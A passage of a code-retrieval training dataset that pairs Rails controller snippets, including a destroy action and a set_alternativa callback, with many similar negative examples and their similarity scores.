"def update\n respond_to do |format|\n if @recipe.update(recipe_params)\n\n if params[:lista].present?\n params[:lista].each do |(c,ingrediente)|\n Ingredient.create(name: ingrediente, recipe_id:@recipe.id) if ingrediente != \"\"\n end\n end\n\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe }\n format.js {flash.now[:notice] = 'La receta se ha actualizado de forma exitosa.'} \n else\n format.html { render :edit }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n format.js {flash.now[:alert] = 'Error al actuar la receta.'} \n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end"
] |
[
"0.6872784",
"0.6501358",
"0.633831",
"0.61324465",
"0.61103684",
"0.6082221",
"0.6075222",
"0.6063081",
"0.60572714",
"0.60572714",
"0.6054513",
"0.6046305",
"0.60377055",
"0.60355407",
"0.60310507",
"0.60140586",
"0.60007405",
"0.59981537",
"0.5982089",
"0.5976963",
"0.59768254",
"0.5955264",
"0.5941836",
"0.59416145",
"0.594079",
"0.5938928",
"0.59363794",
"0.593171",
"0.5914595",
"0.59115875",
"0.5907692",
"0.5907334",
"0.58945346",
"0.58935696",
"0.5883787",
"0.5881278",
"0.5867819",
"0.58648175",
"0.5861335",
"0.5857406",
"0.58502156",
"0.58480936",
"0.58373886",
"0.5835984",
"0.58354753",
"0.5835233",
"0.58196545",
"0.58195966",
"0.5813789",
"0.5813658",
"0.5810902",
"0.5810656",
"0.5810656",
"0.5810604",
"0.5810032",
"0.58088744",
"0.58023196",
"0.58017796",
"0.58015615",
"0.5799001",
"0.5793066",
"0.5792944",
"0.5789725",
"0.57890135",
"0.5785117",
"0.5784033",
"0.5779264",
"0.57774913",
"0.577643",
"0.57722694",
"0.5771435",
"0.5770234",
"0.5768515",
"0.57646984",
"0.5763407",
"0.5763407",
"0.57620674",
"0.57619303",
"0.5759422",
"0.5752875",
"0.5751818",
"0.5749312",
"0.574805",
"0.5746671",
"0.5746631",
"0.57465947",
"0.57459515",
"0.57458204",
"0.57409126",
"0.57400364",
"0.57391375",
"0.5738535",
"0.5737138",
"0.5733371",
"0.5732527",
"0.57318634",
"0.5731639",
"0.5731547",
"0.5731223",
"0.5731176"
] |
0.686758
|
1
|
DELETE /alternativas/1 DELETE /alternativas/1.json
|
def destroy
@alternativa.destroy
respond_to do |format|
format.html { redirect_to alternativas_url, notice: 'Alternativa was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @alternativo.destroy\n respond_to do |format|\n format.html { redirect_to alternativos_url, notice: 'Alternativo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @pregunta_alternativa.destroy\n respond_to do |format|\n format.html { redirect_to pregunta_alternativas_url, notice: 'Pregunta la pregunta fue destruida exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n \n @lancamentorapido = Lancamentorapido.find(params[:id])\n @lancamentorapido.destroy \n\n respond_to do |format|\n format.html { redirect_to lancamentorapidos_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to respuestas_url }\n format.json { head :no_content }\n end\n end",
"def delete\n unless possui_acesso?()\n return\n end\n @aviso = Aviso.find(params[:id])\n @aviso.destroy\n\n respond_to do |format|\n format.html { redirect_to avisos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nota_tecnica.destroy\n respond_to do |format|\n format.html { redirect_to nota_tecnicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aactio = Aactio.find(params[:id])\n @aactio.destroy\n\n respond_to do |format|\n format.html { redirect_to aactios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @detalle = Detalle.find(params[:id])\n @detalle.destroy\n\n respond_to do |format|\n format.html { redirect_to detalles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @articulo = Articulo.find(params[:id])\n @articulo.destroy\n\n respond_to do |format|\n format.html { redirect_to articulos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @articulo = Articulo.find(params[:id])\n @articulo.destroy\n\n respond_to do |format|\n format.html { redirect_to articulos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @articulo = Articulo.find(params[:id])\n @articulo.destroy\n\n respond_to do |format|\n format.html { redirect_to articulos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n @agronomiaquimica.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiaquimicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @retroalimentacion = Retroalimentacion.find(params[:id])\n @retroalimentacion.destroy\n\n respond_to do |format|\n format.html { redirect_to retroalimentacions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipoapreensao.destroy\n respond_to do |format|\n format.html { redirect_to tipoapreensoes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asana.destroy\n respond_to do |format|\n format.html { redirect_to asanas_url, notice: 'Asana excluído com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @atracao = Atracao.find(params[:id])\n @atracao.destroy\n\n respond_to do |format|\n format.html { redirect_to atracaos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @antropo.destroy\n respond_to do |format|\n format.html { redirect_to antropos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assunto = Assunto.find(params[:id])\n @assunto.destroy\n\n respond_to do |format|\n format.html { redirect_to assuntos_url }\n format.json { head :no_content }\n end\n end",
"def delete\n supprimer = QuestionOuverteService.instance.supprimerQuestion(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\n end",
"def destroy\n @unidad.destroy\n respond_to do |format|\n format.html { redirect_to unidades_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tapioca.destroy\n respond_to do |format|\n format.html { redirect_to tapiocas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asiento = Asiento.find(params[:id])\n @asiento.destroy\n\n respond_to do |format|\n format.html { redirect_to asientos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @adocao_animal = AdocaoAnimal.find(params[:id])\n @adocao_animal.destroy\n\n respond_to do |format|\n format.html { redirect_to adocao_animals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ruta.destroy\n respond_to do |format|\n format.html { redirect_to rutas_url, notice: 'Ruta was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @substancia.destroy\n respond_to do |format|\n format.html { redirect_to substancias_url, notice: 'Substancia was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aluno.destroy\n respond_to do |format|\n format.html { redirect_to alunos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @core_nota = Core::Nota.find(params[:id])\n @core_nota.destroy\n\n respond_to do |format|\n format.html { redirect_to core_notas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lectura.destroy\n respond_to do |format|\n format.html { redirect_to lecturas_url, notice: 'La lectura fue eliminada.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lectura.destroy\n respond_to do |format|\n format.html { redirect_to lecturas_url, notice: 'La lectura fue eliminada.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @example.destroy\n respond_to do |format|\n format.html { redirect_to examples_url, notice: 'Operação realizada com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @iglesia.destroy\n respond_to do |format|\n format.html { redirect_to iglesias_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kela.destroy\n respond_to do |format|\n format.html { redirect_to kelas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tarefa = Tarefa.find(params[:id])\n @tarefa.destroy\n\n respond_to do |format|\n format.html { redirect_to tarefas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @representante_athlete = Representante::Athlete.find(params[:id])\n @representante_athlete.destroy\n\n respond_to do |format|\n format.html { redirect_to representante_athletes_url, notice: 'Atleta apagado com sucesso' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @humanidades1 = Humanidades1.find(params[:id])\n @humanidades1.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dynamique = Dynamique.find(params[:id])\n @dynamique.destroy\n\n respond_to do |format|\n format.html { redirect_to dynamiques_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @apologetic.destroy\n respond_to do |format|\n format.html { redirect_to apologetics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vachana = Vachana.find(params[:id])\n @vachana.destroy\n\n respond_to do |format|\n format.html { redirect_to vachanas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vachana = Vachana.find(params[:id])\n @vachana.destroy\n\n respond_to do |format|\n format.html { redirect_to vachanas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @anagrama.destroy\n respond_to do |format|\n format.html { redirect_to anagramas_url, notice: 'Anagrama was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @conta.destroy\n params[:id] = nil\n respond_to do |format|\n format.html { redirect_to contas_path, notice: @@titulo + t('msg.remove') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tutorial = Tutorial.find(params[:id])\n @tutorial.destroy\n render json: @tutorial\n end",
"def destroy\n @prueba_json.destroy\n respond_to do |format|\n format.html { redirect_to prueba_jsons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n head :no_content\n end",
"def delete(*rest) end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end",
"def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end",
"def destroy\n @etiquetum.destroy\n respond_to do |format|\n format.html { redirect_to etiqueta_url, notice: 'Etiqueta borrada!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @alternativas = Alternativa.find(params[:id])\n @especie = @alternativas.especies\n\n @destroyed = false\n if @especie.first.nil?\n @alternativas.destroy\n @destroyed = true\n end\n\n respond_to do |format|\n if @destroyed\n flash[:notice] = 'Alternativa excluída com sucesso.'\n else\n flash[:notice] = 'A alternativa não pode ser excluída devido a relação com a espécie ' + @especie.first.nome\n end\n format.html { redirect_to(alternativas_url) }\n end\n\n end",
"def destroy\r\n @sivic_alunoaula.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_alunoaulas_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @apuesta_detail = ApuestaDetail.find(params[:id])\n @apuesta_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to apuesta_details_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @retroaspecto = Retroaspecto.find(params[:id])\n @retroaspecto.destroy\n\n respond_to do |format|\n format.html { redirect_to retroaspectos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @sivic_relatorioscelula.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_relatorioscelulas_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @titulacion.destroy\n respond_to do |format|\n format.html { redirect_to titulaciones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @musica.audios.purge\n @musica.destroy\n respond_to do |format|\n format.html { redirect_to musicas_url, notice: 'Álbum apagado com sucesso!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recurso = Recurso.find(params[:id])\n @recurso.destroy\n\n respond_to do |format|\n format.html { redirect_to recursos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resa.destroy\n respond_to do |format|\n format.html { redirect_to resas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_unidad.destroy\n respond_to do |format|\n format.html { redirect_to tipo_unidades_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n seleccionarMenu(:rondas)\n @ronda = Ronda.find(params[:id])\n @ronda.destroy\n\n respond_to do |format|\n format.html { redirect_to rondas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @antique.destroy\n respond_to do |format|\n format.html { redirect_to antiques_url, notice: 'Antique was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @leito = Leito.find(params[:id])\n @leito.destroy\n\n respond_to do |format|\n format.html { redirect_to leitos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @repa = Repa.find(params[:id])\n @repa.destroy\n\n respond_to do |format|\n format.html { redirect_to repas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @repa = Repa.find(params[:id])\n @repa.destroy\n\n respond_to do |format|\n format.html { redirect_to repas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @humanidades3 = Humanidades3.find(params[:id])\n @humanidades3.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades3s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @realiza = Realiza.find(params[:id])\n @realiza.destroy\n\n respond_to do |format|\n format.html { redirect_to realizas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @descuento = Descuento.find(params[:id])\n @descuento.destroy\n\n respond_to do |format|\n format.html { redirect_to descuentos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @adotando_animal = AdotandoAnimal.find(params[:id])\n @adotando_animal.destroy\n\n respond_to do |format|\n format.html { redirect_to adotando_animais_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @relogio = Relogio.find(params[:id])\n @relogio.destroy\n\n respond_to do |format|\n format.html { redirect_to relogios_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @especialidad.destroy\n respond_to do |format|\n format.html { redirect_to especialidads_url, notice: 'Servicio eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @remito = Remito.find(params[:id])\n @remito.destroy\n\n respond_to do |format|\n format.html { redirect_to remitos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"def destroy\n @questao.destroy\n respond_to do |format|\n format.html { redirect_to questaos_url, notice: 'Questao was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_from_entzumena\n headline = Headline.where({:source_item_type => params[:source_item_type], :source_item_id => params[:source_item_id]}).first\n if headline.destroy\n render :json => true, :status => 200\n else\n render :json => false, :status => :error\n end\n end",
"def destroy\n @diemtrentuyen = Diemtrentuyen.find(params[:id])\n @diemtrentuyen.destroy\n\n respond_to do |format|\n format.html { redirect_to diemtrentuyens_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tarefa.destroy\n respond_to do |format|\n format.html { redirect_to tarefas_url, notice: 'Tarefa deletada com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @atividades_extra.destroy\n respond_to do |format|\n format.html { redirect_to atividades_extras_url, notice: 'Atividades extra was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lensa.destroy\n respond_to do |format|\n format.html { redirect_to lensas_url, notice: 'Lensa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @saida.destroy\n respond_to do |format|\n format.html { redirect_to saidas_url, notice: 'Saida foi apagado com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_noun = Api::Noun.find(params[:id])\n @api_noun.destroy\n\n respond_to do |format|\n format.html { redirect_to api_nouns_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @avert = Avert.find(params[:id])\n @avert.destroy\n\n respond_to do |format|\n format.html { redirect_to averts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @giang_vien = GiangVien.find(params[:id])\n @giang_vien.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @receitai.destroy\n respond_to do |format|\n format.html { redirect_to proc { receita_url(@receita)}, notice: 'Item excluido.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @escola = Escola.find(params[:id])\n @escola.destroy\n\n respond_to do |format|\n format.html { redirect_to escolas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @recipe = Recipe.find(params[:id])\n # @recipe.destroy\n #\n destroy! do |format|\n # format.html { redirect_to recipes_url }\n # format.json { head :ok }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy\n @lixotodo.destroy\n respond_to do |format|\n format.html {redirect_to lixotodos_url, notice: 'Registro excluído com sucesso.'}\n format.json {head :no_content}\n end\n end",
"def destroy\n @ano = Ano.find(params[:id])\n @ano.destroy\n\n respond_to do |format|\n format.html { redirect_to anos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @indicativo = Indicativo.find(params[:id])\n @indicativo.destroy\n\n respond_to do |format|\n format.html { redirect_to indicativos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_contrato = TipoContrato.find(params[:id])\n @tipo_contrato.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_contratos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @indicacao = Indicacao.find(params[:id])\n @indicacao.destroy\n\n respond_to do |format|\n format.html { redirect_to indicacoes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @apoio_educacioanl.destroy\n respond_to do |format|\n format.html { redirect_to apoio_educacioanls_url, notice: 'Apoio educacioanal foi excluído com Sucesso !' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @auditoria = Auditoria.find(params[:id])\n @auditoria.destroy\n\n respond_to do |format|\n format.html { redirect_to auditorias_url }\n format.json { head :ok }\n end\n end"
] |
[
"0.73670256",
"0.706965",
"0.69742775",
"0.6925704",
"0.68907547",
"0.6864281",
"0.68156344",
"0.679814",
"0.67820907",
"0.676412",
"0.6752453",
"0.6752453",
"0.67454946",
"0.67203236",
"0.67168784",
"0.67168784",
"0.67168784",
"0.6705388",
"0.66898257",
"0.6679441",
"0.66747385",
"0.6674231",
"0.6670372",
"0.6666421",
"0.6655437",
"0.664826",
"0.66457075",
"0.6639604",
"0.6632826",
"0.6631934",
"0.662968",
"0.6627682",
"0.66262704",
"0.66197085",
"0.66197085",
"0.6615824",
"0.66158044",
"0.66079235",
"0.6606151",
"0.66030294",
"0.6600622",
"0.66004837",
"0.6599289",
"0.6591939",
"0.6591939",
"0.6590395",
"0.6588103",
"0.6584287",
"0.658367",
"0.6578704",
"0.6575419",
"0.6574675",
"0.65717435",
"0.6563215",
"0.6562857",
"0.656259",
"0.65598124",
"0.65594614",
"0.65528935",
"0.6549694",
"0.65478706",
"0.6545236",
"0.65435",
"0.65410024",
"0.6539065",
"0.6538821",
"0.6538636",
"0.6525037",
"0.6522833",
"0.6522833",
"0.6522047",
"0.65198153",
"0.65189224",
"0.65164083",
"0.6516181",
"0.6512037",
"0.65118",
"0.6508134",
"0.65058136",
"0.6504822",
"0.65027493",
"0.6502297",
"0.65017855",
"0.64996856",
"0.6499185",
"0.6494476",
"0.64935714",
"0.6492332",
"0.6492213",
"0.6490699",
"0.6489771",
"0.648688",
"0.6486627",
"0.64839697",
"0.64835024",
"0.64830893",
"0.648114",
"0.6480494",
"0.648033",
"0.6477621"
] |
0.7395869
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_alternativa
@alternativa = Alternativa.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
